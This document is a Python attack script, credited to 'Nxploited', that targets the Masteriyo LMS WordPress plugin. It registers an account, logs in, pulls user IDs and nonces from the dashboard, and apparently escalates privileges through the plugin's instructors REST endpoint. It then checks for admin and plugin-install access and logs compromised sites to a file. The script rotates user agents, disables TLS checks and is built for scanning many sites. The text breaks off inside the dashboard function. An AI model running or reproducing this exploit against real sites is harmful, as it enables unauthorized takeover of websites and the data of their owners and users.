1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
# By: Nxploited
import os
import sys
import time
import html as _html_mod
from datetime import datetime
from typing import Tuple, Optional, List, Any
from urllib.parse import urlparse
import requests
import re
import json as _json
try:
from colorama import Fore, Back, Style, init as colorama_init
colorama_init(autoreset=True)
except Exception:
class _D:
RESET = ""
RED = ""
GREEN = ""
YELLOW = ""
CYAN = ""
MAGENTA = ""
BLUE = ""
WHITE = ""
BRIGHT = ""
DIM = ""
Fore = _D()
Back = _D()
Style = _D()
requests.packages.urllib3.disable_warnings()
TERM_WIDTH = 80
LOGIN_ADMIN_FILE = "Login_admin.txt"
# ======================================================================
# BASIC HELPERS / BANNER / LOGGING
# ======================================================================
def center(text: str, width: int = TERM_WIDTH) -> str:
text = text.rstrip("\n")
length = len(text)
if length >= width:
return text
pad = (width - length) // 2
return " " * pad + text
def print_banner() -> None:
os.system("cls" if os.name == "nt" else "clear")
banner_lines = [
r" ___ _ ___ __ __ __ __ __ ",
r" / (_)(_| |_// (_) / )/ \/ )/ | | | | / \| | ",
r" | | | \__ /| | /| __ |__|_|__|_\__/|__|_",
r" | | | / -----/ | |/ |/ \-----| | / \ | ",
r" \___/ \_/ \___/ /___\__//___\__/ | | \__/ | ",
r" ",
]
main_color = Fore.CYAN + Style.BRIGHT
accent = Fore.MAGENTA + Style.BRIGHT
for line in banner_lines:
print(main_color + center(line) + Style.RESET_ALL)
print()
print(accent + center("By: Nxploited | Telegram: @KNxploited") + Style.RESET_ALL)
print()
def log_line(prefix: str, color: str, msg: str, style: str = "") -> None:
print(f"{color}{style}{prefix}{Style.RESET_ALL} {msg}")
def log_info(msg: str) -> None:
log_line("[INFO] ", Fore.CYAN, msg, Style.DIM)
def log_warn(msg: str) -> None:
log_line("[WARN] ", Fore.YELLOW, msg)
def log_err(msg: str) -> None:
log_line("[FAIL] ", Fore.RED, msg)
def log_ok(msg: str) -> None:
log_line("[OK] ", Fore.GREEN, msg, Style.BRIGHT)
def log_dead(msg: str) -> None:
log_line("[DEAD] ", Fore.MAGENTA, msg, Style.DIM)
# ======================================================================
# HTTP / SESSION / PATHS
# ======================================================================
BASE_HEADERS = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Cache-Control": "no-cache",
"Pragma": "no-cache",
"Upgrade-Insecure-Requests": "1",
"Connection": "keep-alive",
}
UA_POOL = [
"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
]
ACCOUNT_PATH = "/account/"
SIGNUP_PATH = "/account/signup/"
REGISTER_POST_PATH = "/st/"
DASHBOARD_PATH = "/account/#/dashboard"
AJAX_PATH = "/wp-admin/admin-ajax.php"
REST_ESCALATE_TEMPLATE = "/wp-json/masteriyo/v1/users/instructors/{user_id}"
def get_ua() -> str:
import random
return random.choice(UA_POOL)
def build_headers(referer: Optional[str] = None) -> dict:
h = dict(BASE_HEADERS)
h["User-Agent"] = get_ua()
h["DNT"] = "1"
h["Sec-Fetch-Site"] = "same-origin"
h["Sec-Fetch-Mode"] = "navigate"
h["Sec-Fetch-User"] = "?1"
h["Sec-Fetch-Dest"] = "document"
if referer:
h["Referer"] = referer
return h
def normalize_url(url: str) -> str:
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "http://" + url
p = urlparse(url)
return f"{p.scheme}://{p.netloc}"
def new_session(timeout: int) -> requests.Session:
s = requests.Session()
s.verify = False
s.timeout = timeout
adapter = requests.adapters.HTTPAdapter(pool_connections=50, pool_maxsize=50, max_retries=1)
s.mount("http://", adapter)
s.mount("https://", adapter)
return s
def has_wordpress_logged_in_cookie(session: requests.Session) -> bool:
for c in session.cookies:
if c.name.startswith("wordpress_logged_in_"):
return True
return False
# ======================================================================
# STRONG NONCE EXTRACTION
# ======================================================================
def extract_all_nonces(html: str) -> dict:
nonces = {}
def add(source: str, key: str, value: str):
key = key.strip()
value = value.strip()
if not key or not value:
return
if key not in nonces:
nonces[key] = set()
nonces[key].add(value)
html_unescaped = _html_mod.unescape(html)
variants = [
html_unescaped,
html_unescaped.replace("\\\"", "\""),
html_unescaped.replace("\\'", "'"),
]
regex_patterns = [
(r'name=["\']_wpnonce["\'][^>]*value=["\']([^"\']+)["\']', "_wpnonce"),
(r'value=["\']([^"\']+)["\'][^>]*name=["\']_wpnonce["\']', "_wpnonce"),
(r'id=["\']_wpnonce["\'][^>]*value=["\']([^"\']+)["\']', "_wpnonce"),
(r'["\']_wpnonce["\']\s*[:=]\s*["\']([^"\']+)["\']', "_wpnonce"),
(r'["\']nonce["\']\s*[:=]\s*["\']([^"\']+)["\']', "nonce"),
(r'["\']wp_rest["\']\s*[:=]\s*["\']([^"\']+)["\']', "wp_rest"),
(r'\\"_wpnonce\\"\s*[:=]\s*\\"([^"]+)\\"', "_wpnonce_escaped_dq"),
(r'\\"nonce\\"\s*[:=]\s*\\"([^"]+)\\"', "nonce_escaped_dq"),
(r'\\"wp_rest\\"\s*[:=]\s*\\"([^"]+)\\"', "wp_rest_escaped_dq"),
(r"\\'_wpnonce\\'\s*[:=]\s*\\'([^']+)\\'", "_wpnonce_escaped_sq"),
(r"\\'nonce\\'\s*[:=]\s*\\'([^']+)\\'", "nonce_escaped_sq"),
(r"\\'wp_rest\\'\s*[:=]\s*\\'([^']+)\\'", "wp_rest_escaped_sq"),
(r'["\']([A-Za-z0-9_\-]*nonce[A-Za-z0-9_\-]*)["\']\s*[:=]\s*["\']([^"\']+)["\']', "__GENERIC_NONCE_PAIR__"),
(r'\\"([A-Za-z0-9_\-]*nonce[A-Za-z0-9_\-]*)\\"\s*[:=]\s*\\"([^"]+)\\"', "__GENERIC_NONCE_PAIR_ESCAPED_DQ__"),
(r"\\'([A-Za-z0-9_\-]*nonce[A-Za-z0-9_\-]*)\\'\s*[:=]\s*\\'([^']+)\\'", "__GENERIC_NONCE_PAIR_ESCAPED_SQ__"),
]
for text in variants:
for pat, fixed_key in regex_patterns:
for m in re.finditer(pat, text, re.IGNORECASE | re.DOTALL):
if fixed_key.startswith("__GENERIC_NONCE_PAIR"):
key = m.group(1)
value = m.group(2)
add("regex_generic", key, value)
else:
value = m.group(1)
add("regex", fixed_key, value)
return nonces
def get_best_login_nonce(html: str) -> Optional[str]:
nonces = extract_all_nonces(html)
for k in ["_wpnonce", "nonce", "login_nonce"]:
if k in nonces and nonces[k]:
return next(iter(nonces[k]))
for k in nonces:
if "nonce" in k.lower() and nonces[k]:
return next(iter(nonces[k]))
return None
def get_best_signup_nonce(html: str) -> Optional[str]:
nonces = extract_all_nonces(html)
for k in ["_wpnonce", "signup_nonce", "registration_nonce"]:
if k in nonces and nonces[k]:
return next(iter(nonces[k]))
for k in nonces:
if "nonce" in k.lower() and nonces[k]:
return next(iter(nonces[k]))
return None
# ======================================================================
# DASHBOARD CONTEXT (Masteriyo nonce/id)
# ======================================================================
def extract_dashboard_context(html: str) -> Tuple[Optional[str], Optional[str]]:
user_id = None
nonce = None
m_uid = re.search(r'"current_user_id"\s*:\s*"(\d+)"', html, re.IGNORECASE)
if m_uid:
user_id = m_uid.group(1)
m_nonce = re.search(r'"nonce"\s*:\s*"([A-Za-z0-9]{4,64})"', html, re.IGNORECASE)
if m_nonce:
nonce = m_nonce.group(1)
return user_id, nonce
# ======================================================================
# ADMIN CHECK HELPERS (FROM Big.py)
# ======================================================================
def get_random_user_agent():
return get_ua()
def verify_admin_access_sync(session: requests.Session, url: str, timeout: int) -> bool:
try:
admin_urls = [
f"{url}/wp-admin/",
f"{url}/wp-admin/index.php",
f"{url}/wp-admin/users.php"
]
for admin_url in admin_urls:
try:
headers = {'User-Agent': get_random_user_agent()}
response = session.get(admin_url, timeout=timeout, verify=False, headers=headers, allow_redirects=False)
if response.status_code == 200:
content = response.text.lower()
if any(indicator in content for indicator in [
'dashboard', 'wp-admin-bar', 'adminmenu', 'manage_options',
'users.php', 'plugins.php', 'themes.php', 'wp-admin/index.php'
]):
return True
elif response.status_code in [301, 302]:
location = response.headers.get('Location', '')
if 'wp-login.php' in location:
return False
except:
continue
return False
except:
return False
def verify_plugin_installation_access_sync(session: requests.Session, url: str, timeout: int):
try:
plugin_install_urls = [
f"{url}/wp-admin/plugin-install.php",
f"{url}/wp-admin/plugin-install.php?tab=upload",
f"{url}/wp-admin/plugins.php?page=plugin-install"
]
for plugin_url in plugin_install_urls:
try:
headers = {'User-Agent': get_random_user_agent()}
response = session.get(plugin_url, timeout=timeout, verify=False, headers=headers, allow_redirects=False)
if response.status_code == 200:
content = response.text.lower()
installation_indicators = [
'plugin-install-tab',
'upload-plugin',
'plugin-upload-form',
'install-plugin-upload',
'pluginzip',
'browse plugins',
'add plugins'
]
if any(indicator in content for indicator in installation_indicators):
return True, plugin_url, "Plugin installation page accessible"
elif response.status_code in [301, 302]:
location = response.headers.get('Location', '')
if 'wp-login.php' in location:
return False, plugin_url, "Redirected to login - no admin access"
except:
continue
return False, None, "No plugin installation access found"
except:
return False, None, "Error checking plugin installation access"
def is_admin_session(base: str, session: requests.Session, timeout: int) -> bool:
label = base
admin_ok = verify_admin_access_sync(session, base, timeout)
plugin_ok, purl, pdetail = verify_plugin_installation_access_sync(session, base, timeout)
if admin_ok and plugin_ok:
log_ok(f"{label} :: ADMIN SESSION VERIFIED (dashboard + plugin-install access).")
return True
if plugin_ok:
log_ok(f"{label} :: ADMIN SESSION (plugin-install access): {purl}")
return True
if admin_ok:
log_ok(f"{label} :: ADMIN SESSION (dashboard indicators only).")
return True
log_warn(f"{label} :: LOGIN OK but no admin/plugin-install access detected.")
return False
# ======================================================================
# LOGIN LOGIC (MASTERIYO AJAX, NO ADMIN CHECK HERE)
# ======================================================================
def masteriyo_login(
base: str,
session: requests.Session,
timeout: int,
username_or_email: str,
password: str
) -> Tuple[bool, str]:
label = base
account_url = base.rstrip("/") + ACCOUNT_PATH
ajax_url = base.rstrip("/") + AJAX_PATH
try:
r_get = session.get(account_url, headers=build_headers(account_url), timeout=timeout, verify=False)
except Exception as e:
log_dead(f"{label} :: /account/ GET error: {e}")
return False, f"account_get_failed:{e}"
if r_get.status_code != 200:
log_dead(f"{label} :: /account/ HTTP {r_get.status_code}")
return False, f"account_get_status_{r_get.status_code}"
wpnonce = get_best_login_nonce(r_get.text)
if not wpnonce:
log_warn(f"{label} :: LOGIN :: no suitable nonce found in /account/")
return False, "login_no_wpnonce"
account_url_clean = account_url.rstrip("/")
data = {
"action": "masteriyo_login",
"_wpnonce": wpnonce,
"_wp_http_referer": ACCOUNT_PATH,
"username": username_or_email,
"password": password,
"redirect_to": account_url_clean,
}
headers_post = build_headers(account_url)
headers_post["Content-Type"] = "application/x-www-form-urlencoded"
try:
r_post = session.post(ajax_url, data=data, headers=headers_post, timeout=timeout, verify=False)
except Exception as e:
log_dead(f"{label} :: AJAX login POST error: {e}")
return False, f"ajax_post_failed:{e}"
try:
j = r_post.json()
msg = j.get("data", {}).get("message", "")
if j.get("success"):
log_ok(f"{label} :: LOGIN OK :: {msg or 'success'}")
else:
log_warn(f"{label} :: LOGIN FAIL :: {msg or 'unknown error'}")
except Exception:
body_preview = (r_post.text or "")[:300].replace("\n", " ")
log_warn(f"{label} :: LOGIN RAW RESPONSE :: {body_preview}")
if not has_wordpress_logged_in_cookie(session):
return False, "login_no_logged_in_cookie"
return True, "login_ok"
# ======================================================================
# REGISTRATION (Nx_1)
# ======================================================================
def masteriyo_register(
base: str,
session: requests.Session,
timeout: int,
username: str,
email: str,
password: str
) -> Tuple[bool, str]:
label = base
signup_url = base.rstrip("/") + SIGNUP_PATH
st_url = base.rstrip("/") + REGISTER_POST_PATH
try:
r_get = session.get(signup_url, headers=build_headers(signup_url), timeout=timeout, verify=False)
except Exception as e:
log_dead(f"{label} :: /account/signup/ GET error: {e}")
return False, f"signup_get_failed:{e}"
if r_get.status_code != 200:
log_dead(f"{label} :: /account/signup/ HTTP {r_get.status_code}")
return False, f"signup_get_status_{r_get.status_code}"
wpnonce = get_best_signup_nonce(r_get.text)
if not wpnonce:
log_warn(f"{label} :: REGISTER :: no suitable nonce found in /account/signup/")
return False, "signup_no_wpnonce"
local_part = email.split("@")[0] or username
data = {
"remember": "true",
"_wpnonce": wpnonce,
"first-name": local_part,
"last-name": "user",
"username": username,
"email": email,
"password": password,
"confirm-password": password,
"masteriyo-registration": "yes",
}
headers_post = build_headers(signup_url)
headers_post["Content-Type"] = "application/x-www-form-urlencoded"
try:
r_post = session.post(st_url, data=data, headers=headers_post, timeout=timeout, verify=False)
except Exception as e:
log_dead(f"{label} :: /st/ POST (register) error: {e}")
return False, f"signup_post_failed:{e}"
body = (r_post.text or "").lower()
if "email is already registered" in body or "user already exists" in body or "username is already taken" in body:
log_warn(f"{label} :: REGISTER :: email/username already registered.")
return True, "signup_email_or_user_already_registered"
if "check your email" in body or "verify your email" in body or "activation email" in body:
log_warn(f"{label} :: REGISTER :: email verification likely required.")
return True, "registered_needs_email_verification"
if "registration complete" in body or "account created" in body or "successfully registered" in body:
log_ok(f"{label} :: REGISTER :: registration complete.")
return True, "registered_ok"
log_warn(f"{label} :: REGISTER :: response unclear.")
return True, "registered_unclear"
# ======================================================================
# DASHBOARD + ESCALATE (MASTERIYO REST)
# ======================================================================
def masteriyo_fetch_dashboard_context(
base: str,
session: requests.Session,
timeout: int
) -> Tuple[Optional[str], Optional[str]]:
label = base
dash_url = base.rstrip("/") + DASHBOARD_PATH
try:
r = session.get(dash_url, headers=build_headers(dash_url), timeout=timeout, verify=False, allow_redirects=True)
except Exception as e:
log_dead(f"{label} :: dashboard GET failed: {e}")
return None, None
if r.status_code != 200:
log_dead(f"{label} :: dashboard HTTP {r.status_code}")
return None, None
user_id, nonce = extract_dashboard_context(r.text)
if user_id and nonce:
|